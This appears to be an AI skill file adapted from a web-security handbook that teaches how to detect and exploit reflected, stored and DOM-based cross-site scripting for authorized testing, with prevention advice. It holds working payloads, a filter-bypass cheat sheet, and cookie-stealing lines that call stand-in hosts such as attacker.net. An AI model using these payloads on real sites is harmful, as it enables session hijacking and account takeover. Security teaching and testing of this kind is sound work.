Cross-Site Scripting Detection and Exploitation
When to Use
Use this skill when you are conducting authorized penetration testing or application security assessment and need to:
- Systematically find XSS vulnerabilities across all entry points of a web application
- Distinguish between reflected, stored, and DOM-based XSS and apply the correct detection method for each
- Construct payloads matched to the HTML context where input lands
- Bypass signature-based input filters, sanitization routines, and length limits
- Demonstrate real impact through session hijacking or other proof-of-concept exploits
- Provide developers with precise remediation guidance
This skill is framed for defensive and educational purposes. All techniques are to be performed only against systems you own or have explicit written authorization to test.
XSS Taxonomy: Three Varieties
Understanding the mechanical difference between XSS varieties matters because the detection method, severity, and exploitation path differ for each.
Reflected XSS (First-Order XSS)
Mechanism: The application copies user-supplied input directly into an HTTP response. The attacker's payload is delivered and executed in a single round trip — the same request that carries the payload also returns the executing page.
Why it matters: Approximately 75% of real-world XSS. Exploiting it requires inducing a victim to visit a crafted URL. Severity is high but scope of passive victims is lower than stored XSS.
Attack flow:
- Attacker constructs a URL containing embedded JavaScript (e.g.,
?message=<script>var i=new Image;i.src="//attacker.net/"+document.cookie</script>) - Victim is induced to visit that URL (phishing, email link, banner ad, IMG tag on a third-party site)
- Application reflects the parameter into the response without sanitization
- Victim's browser executes the script in the application's origin — the same-origin policy grants the script access to the application's cookies
- Cookie is transmitted to attacker's collection server; attacker replays it to hijack the session
Key insight: The attacker exploits the XSS vulnerability — not just any arbitrary script host — because the browser's same-origin policy restricts document.cookie access to scripts served from the issuing domain. The malicious script must appear to come from the target application.
Stored XSS (Second-Order XSS, Persistent XSS)
Mechanism: User-supplied data is stored in the application (database, log file, profile field, message body) and later rendered to other users without sanitization.
Why it is more severe than reflected XSS:
- No victim interaction required beyond normal site use; the victim simply browses to a page that already contains the payload
- When the stored location is within an authenticated area, every victim is by definition logged in at the moment the payload executes
- A single stored payload scales to every user who views that page — including administrators
- Real-world example: The MySpace Samy worm (2005) exploited a stored XSS flaw in user profile pages. The script added Samy as a friend and copied itself to the victim's profile, propagating to nearly one million profiles within hours before MySpace was forced to take the application offline.
Attack flow:
- Attacker submits crafted data (e.g., a profile name, forum post, feedback message, uploaded filename, HTTP Referer header, User-Agent) containing a script payload
- Application stores it without sanitization
- Victim browses to any page that renders that data
- Script executes in the victim's browser in the application's origin
DOM-Based XSS
Mechanism: Client-side JavaScript reads attacker-controlled data from the DOM (typically from document.location, document.URL, or document.referrer) and passes it to a dangerous sink (document.write, innerHTML, eval) without sanitization. The server's response never contains the payload — the attack lives entirely in the browser.
Why detection differs: Server-response scanning cannot find DOM-based XSS. The payload may appear only in the URL fragment (#), which browsers never send to the server, making server-side filters irrelevant.
Sources (attacker-controlled DOM inputs):
document.locationdocument.URLdocument.URLUnencodeddocument.referrerwindow.location
Sinks (dangerous DOM write operations):
document.write()/document.writeln()element.innerHTMLeval()window.execScript()window.setInterval()/window.setTimeout()
Attack Payloads: What XSS Can Do
Understanding the impact spectrum helps scope findings accurately and communicate severity to stakeholders.
| Payload Class | Impact |
|---|---|
| Session hijacking | Steal session token via document.cookie; replay to impersonate victim |
| Virtual defacement | Inject HTML to display false content under the application's domain — far more credible than a phishing clone |
| Trojan login form | Inject a fake login form that submits credentials to attacker's server; real application URL shown, valid TLS certificate present |
| Keylogging | Log keystrokes in real time via injected JavaScript |
| Autocomplete harvesting | Instantiate a form, let the browser autofill saved credentials, then read and exfiltrate field values |
| Cross-site request actions | Force the victim's browser to perform authenticated actions (bid on auction, change password, add admin account) |
| Self-propagating worm | Stored XSS that copies itself to every victim's profile (Samy worm pattern) |
| Privilege escalation via chaining | Combine low-risk stored XSS (only visible to self) with a broken access control flaw (edit other users' display names) to achieve full application compromise |
Real-world precedent — Apache Foundation 2010: A reflected XSS in the issue-tracking application was used to steal an administrator's session cookie. The attacker gained admin access, modified upload paths, uploaded a Trojan login page, and captured privileged credentials — ultimately compromising infrastructure beyond the web application itself.
Process: Finding and Exploiting Reflected XSS
Step 1 — Identify reflections of user input
Why: You cannot exploit a vulnerability you have not located. Systematic coverage of all entry points prevents missed findings.
Procedure:
- Choose a unique alphabetical test string that does not appear in the application naturally (e.g.,
myxsstestdmqlwp). Alphabetical characters are unlikely to be filtered. - Submit the string as the value of every parameter on every page, one parameter at a time. Include:
- URL query string parameters
- POST body parameters
- HTTP headers that the application processes:
Referer,User-Agent,X-Forwarded-For,Cookievalues
- Monitor every response for the string's appearance. Each occurrence is a candidate for further investigation.
- For POST-triggered reflections, use your proxy (e.g., Burp Suite "Change request method") to test whether the same behavior is triggered by GET — this affects delivery mechanism options.
Step 2 — Determine the syntactic context of each reflection
Why: The payload that works depends entirely on where in the HTML the reflection lands. The wrong payload for the context will fail silently.
| Context | What you see in source | Payload approach |
|---|---|---|
| Between HTML tags | <p>YOURVALUE</p> | Inject new tags: <script>alert(1)</script> or event-handler tags |
| Inside a tag attribute value (quoted) | <input value="YOURVALUE"> | Break out of quotes: "><script>alert(1)</script> or inject event handler: " onfocus="alert(1) |
| Inside a JavaScript string | var a = 'YOURVALUE'; | Break the string: '; alert(1); var foo=' — use // to neutralize trailing syntax if needed |
| Inside a URL attribute | <a href="YOURVALUE"> | Use javascript:alert(1) pseudo-protocol or inject event handler |
Step 3 — Test whether the reflection is exploitable
- Review the HTML source (not browser-rendered view) to see exactly where your string lands
- Craft a payload matched to that context
- Submit the payload; if it appears in the response unmodified, confirm execution by triggering
alert(document.cookie)in a browser - If the payload is blocked or sanitized, proceed to filter bypass (Step 4)
Step 4 — Bypass input filters
Three categories of filter behavior, with distinct bypass strategies:
Category A — Signature-based blocking (WAF or application-level) The application returns an error or different response when your payload is submitted.
- Isolate which characters/expressions trigger blocking by bisecting your payload
- Switch to an alternative script-introduction method:
- Event handlers instead of
<script>tags:<img onerror=alert(1) src=a> - Script pseudo-protocols:
<iframe src=javascript:alert(1)> - HTML5-specific vectors:
<input autofocus onfocus=alert(1)>,<video src=1 onerror=alert(1)> - Obfuscate tag names with case variation:
<iMg onerror=alert(1) src=a> - Insert NULL bytes inside tag names:
<i%00mg onerror=alert(1) src=a> - Use arbitrary tag names with event handlers:
<x onclick=alert(1) src=a>Click</x> - Encode attribute values:
<img onerror=alert(1) src=a> - Use backtick as attribute delimiter (Internet Explorer):
<img onerror=`alert(1)` src=a> - Use VBScript (Internet Explorer only) to bypass JavaScript-specific filters:
<img onerror="vbs:MsgBox 1" src=a> - Use character set encoding (Shift-JIS, UTF-7, UTF-16) if you can influence the
Content-Typeheader orcharsetparameter
- Event handlers instead of
Category B — Sanitization (encoding or stripping)
Your payload is returned but modified (e.g., < becomes <).
- Determine which characters are being sanitized
- If injecting into an existing JavaScript string, you may not need angle brackets; break out with quote-termination techniques
- If
<script>is stripped but not recursively:<scr<script>ipt>alert(1)</script> - If backslash-escaping of quotes: inject
\before the escape so the escape character is itself escaped (foo\'; alert(1);//) - If in an event handler attribute, HTML-encode quotes:
foo'; alert(1);//— the browser HTML-decodes attribute values before executing JavaScript - Use Unicode escapes for JavaScript keywords:
<script>a\u006cert(1)</script> - Use dynamic string construction:
<script>eval('al'+'ert(1)')</script>orString.fromCharCode(97,108,101,114,116,40,49,41) - Replace dots:
alert(document['cookie'])orwith(document)alert(cookie)
Category C — Length truncation Your payload is cut to a maximum character count.
- Shorten the payload:
open("//a/"+document.cookie)(28 bytes for cookie exfiltration) - Span the payload across multiple reflected parameters using JavaScript comment delimiters (
/* */) so intervening content is treated as a comment - Convert the reflected XSS into a DOM-based XSS: inject
<script>eval(location.hash.slice(1))</script>into the truncated parameter; place your full payload in the URL fragment (#alert('long payload here')) — the fragment is not sent to the server and bypasses length enforcement
Process: Finding and Exploiting Stored XSS
Stored XSS requires broader thinking because the submission point and the rendering point are decoupled — often separated by time, user role, and application area.
Six-step methodology
Step 1 — Cover all input locations. Submit a unique test string (different per field — concatenate field name + unique string to disambiguate later) to every input that the application might store and later render to another user:
- Personal information fields (name, address, email, bio, company)
- Post/comment/message/feedback/question content
- Uploaded file names and file contents
- HTTP headers that get logged and displayed:
Referer,User-Agent - Search terms that appear in "popular searches" lists
Step 2 — Review all output locations, including admin interfaces. After submitting test strings, exhaustively browse all application pages and functions to find where the strings appear. A name field may render in the home page, user directory listing, activity log, messages sidebar, and admin user management console simultaneously — each is a separate candidate.
Why admin interfaces matter: Log review functionality is a classic stored XSS vector. Administrators browse log entries; an attacker who can inject into any field that ends up in a log (including HTTP headers) reaches a high-privilege user automatically.
Step 3 — Complete multistage workflows. Many stored operations require completing a multi-step process: registration, checkout, funds transfer, order placement. Submitting a test string only to page 1 of a 3-page flow may prevent the data from ever being stored. Always follow each workflow to completion.
Step 4 — Test out-of-band channels. For stored XSS, out-of-band input paths are valid attack surfaces. Email-based stored XSS (webmail applications rendering HTML email) is a particularly common and high-impact variant:
- Send HTML email with XSS payloads to accounts on the application
- Test with raw MIME messages (using
sendmailor similar) to controlContent-Typeandcharset, bypassing sanitization applied by standard email clients
Step 5 — Test file upload functionality. File upload is a frequently overlooked stored XSS vector:
- Upload an HTML file with an embedded proof-of-concept script
- If rejected, try alternate extensions (
.txt,.jpg) — some applications accept content regardless of extension if another delivery path renders it - Test for hybrid file attacks (e.g., GIFAR — a file that is simultaneously a valid GIF and a JAR, exploiting Java applet same-origin trust)
- Check whether files loaded via Ajax into
innerHTMLare rendered as HTML regardless of declaredContent-Type
Step 6 — Think creatively about indirect storage paths. Popular search term lists, "users who viewed this" aggregations, activity feeds — any mechanism that aggregates and displays user-controlled data to other users is a potential stored XSS surface.
Process: Finding and Exploiting DOM-Based XSS
DOM-based XSS cannot be detected by submitting a test string and scanning the HTTP response. The payload never appears in server traffic.
Detection method
Manual source-to-sink analysis:
- Review all client-side JavaScript in the application — both in static HTML pages and dynamically generated pages
- Search for every use of URL-sourcing APIs (the sources listed above:
document.location, etc.) - Trace the data flow from each source to identify whether it reaches a dangerous sink (
document.write,innerHTML,eval, etc.) without sanitization - For each source-to-sink path, craft a URL that injects JavaScript through that path
Why manual analysis is more reliable than black-box probing: A standard test string (e.g., *"><script>alert(1)</script>) only triggers execution if it happens to produce syntactically valid JavaScript at the exact insertion point. DOM-based XSS often requires terminating a specific string delimiter or closing a specific construct — which you can only determine by reading the source.
Browser-assisted testing:
- Manually walk through the application in a browser, modifying URL parameters to contain test strings:
';alert(1)//` - Any dialog box containing cookies confirms a DOM XSS (or reflected XSS) execution
- Use browser developer tools to inspect the live DOM and identify where your input is landing
Evading server-side filters for DOM XSS:
- Place the payload in the URL fragment (
#):http://app.com/page#<script>alert(1)</script>— browsers do not send the fragment to the server, so server-side filters never see it - Append an invented parameter after the vulnerable parameter: client-side scripts often extract everything after
param=to the end of the URL, including invented parameters the server ignores
Prevention Guidance (for developers and defensive reviewers)
Why these controls matter — and why they must be applied correctly:
Output encoding (primary control): HTML-encode all user-supplied data at the point of insertion into an HTML response. The encoding must match the syntactic context:
- HTML body: encode
<,>,&,",' - HTML attribute values: encode the same characters; always quote attribute values
- JavaScript string context: JavaScript-encode (Unicode-escape) the data — HTML encoding is insufficient because the browser HTML-decodes attribute values before executing event handlers
- URL context: URL-encode the data; then HTML-encode the resulting URL for placement in an
hrefattribute
Content Security Policy: Deploy a Content-Security-Policy response header restricting which script sources the browser will execute. A well-configured policy (e.g., script-src 'self') provides defense-in-depth — it mitigates the impact of XSS vulnerabilities that slip through output encoding, because injected inline scripts and external script loads from untrusted domains are blocked.
HttpOnly cookies: Set the HttpOnly attribute on session cookies. This prevents JavaScript from reading cookie values via document.cookie, directly neutralizing the most common XSS exploitation goal (session hijacking). Note: it does not prevent all XSS attacks — payloads that induce user actions (Trojan forms, cross-site request forgery) remain effective.
Do not rely on input validation or blacklist filters as a primary control. The filter bypass techniques documented above demonstrate that blacklists are inherently incomplete. An attacker has a larger creative surface (every browser quirk, every encoding scheme, every alternative syntax) than a filter writer can anticipate.
Examples
Example 1: Reflected XSS in an Error Page (Attribute Context)
Scenario: A penetration test of a retail web application. The error page at /error returns a message URL parameter verbatim inside an HTML attribute.
Trigger: While mapping the application, submitting test string myxsstest001 to the message parameter — source shows: <input type="hidden" name="debug" value="myxsstest001">. The reflection is inside a quoted attribute value.
Process:
- Confirm context: reflection is inside
value="..."of an<input>tag - Initial payload to break out:
"><script>alert(document.cookie)</script>— verify it appears unmodified in the response - Application blocks
<script>: test alternate approach — inject an event handler without closing the tag:" autofocus onfocus="alert(document.cookie) - This payload does not require closing the tag or injecting angle brackets; it passes the filter
- Confirm execution in browser; escalate to session hijacking payload:
" autofocus onfocus="var i=new Image;i.src='//assessor-server.example.com/log?c='+document.cookie
Output: Reflected XSS confirmed in message parameter, attribute context, exploitable via event handler injection. Filter bypass achieved by avoiding angle brackets. Session token exfiltration demonstrated.
Example 2: Stored XSS via HTTP Referer Header in Admin Log Viewer
Scenario: A security assessment of a content management system. The admin interface displays an access log rendered in-browser. The application stores HTTP Referer header values in the log without sanitization.
Trigger: During stored XSS coverage, submitting test string reftest-REFERER as the Referer header to key pages — when reviewing the admin log interface, reftest-REFERER appears in a table cell. This is a stored XSS candidate in a high-privilege context.
Process:
- Identify the log display page URL by authenticating as admin
- Craft a request to any application page with
Referer: <script>alert(document.cookie)</script> - Check admin log view — script executes
- Application sanitizes
<script>: switch to<img src=x onerror=alert(document.cookie)> - Confirm execution; escalate to session harvesting payload targeting admin
- Document the attack chain: low-privilege action (ordinary web request) → stored in log → executes when admin views log → full admin session compromise
Output: Stored XSS via Referer header confirmed. Payload executes in administrator's browser context without any admin action beyond routine log review. Critical severity.
Example 3: DOM-Based XSS via Fragment Identifier
Scenario: A financial application uses client-side JavaScript to display personalized messages. The page script does var msg = location.hash.substring(1); document.write(msg);. The server never sees the fragment.
Trigger: Code review of the page's JavaScript during DOM XSS source analysis — document.location (source) flows directly to document.write (sink) without sanitization.
Process:
- No server-response test will find this; it requires source review
- Craft test URL:
https://app.example.com/welcome#<img onerror=alert(document.cookie) src=a> - Browser renders the page; client-side script extracts fragment and writes it to DOM;
onerrorfires; cookie dialog appears - Server-side filter testing: the fragment is never sent to the server, so server-side WAF/filters are irrelevant
- Escalate payload to session exfiltration; document the source-to-sink path in the report
Output: DOM-based XSS confirmed. document.location.hash flows unsanitized to document.write. No server-side control can prevent this — client-side output encoding at the document.write call is the required fix.
Quick Reference: Filter Bypass Cheat Sheet
# Avoid <script> tags entirely
<img onerror=alert(1) src=a>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<video src=1 onerror=alert(1)>
<body onload=alert(1)>
# Case variation to evade simple pattern matching
<iMg OnErRoR=alert(1) src=a>
# NULL byte insertion (Internet Explorer; also bypasses many WAFs)
<i%00mg onerror=alert(1) src=a>
# Attribute delimiter alternatives (Internet Explorer accepts backtick)
<img onerror=`alert(1)` src=a>
# No whitespace between tag name and attributes
<img/onerror=alert(1) src=a>
# HTML encoding in attribute values (browser decodes before executing)
<img onerror=alert(1) src=a>
# JavaScript unicode escape in keywords
<script>a\u006cert(1)</script>
# String construction to avoid keyword detection
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>
# Avoid dots for property access
alert(document['cookie'])
with(document)alert(cookie)
# Recursive stripping bypass
<scr<script>ipt>alert(1)</scr</script>ipt>
# Fragment-based payload to bypass server-side filters (DOM XSS delivery)
https://app.example.com/page?param=<script>eval(location.hash.slice(1))</script>#alert(document.cookie)
References
- Stuttard, D. & Pinto, M. — The Web Application Hacker's Handbook, 2nd ed., Chapter 12 (pp. 431–534), Wiley, 2011
- OWASP — Cross Site Scripting Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
- OWASP — DOM Based XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html
- CWE-79: Improper Neutralization of Input During Web Page Generation: https://cwe.mitre.org/data/definitions/79.html
- Apache Foundation incident (2010): https://blogs.apache.org/infra/entry/apache_org_04_09_2010
- MySpace Samy worm (2005): https://namb.la/popular/tech.html
License
This skill is licensed under CC-BY-SA-4.0. Source: BookForge — Web Application Hackers Handbook by Unknown.
Related BookForge Skills
This skill is standalone. Browse more BookForge skills: bookforge-skills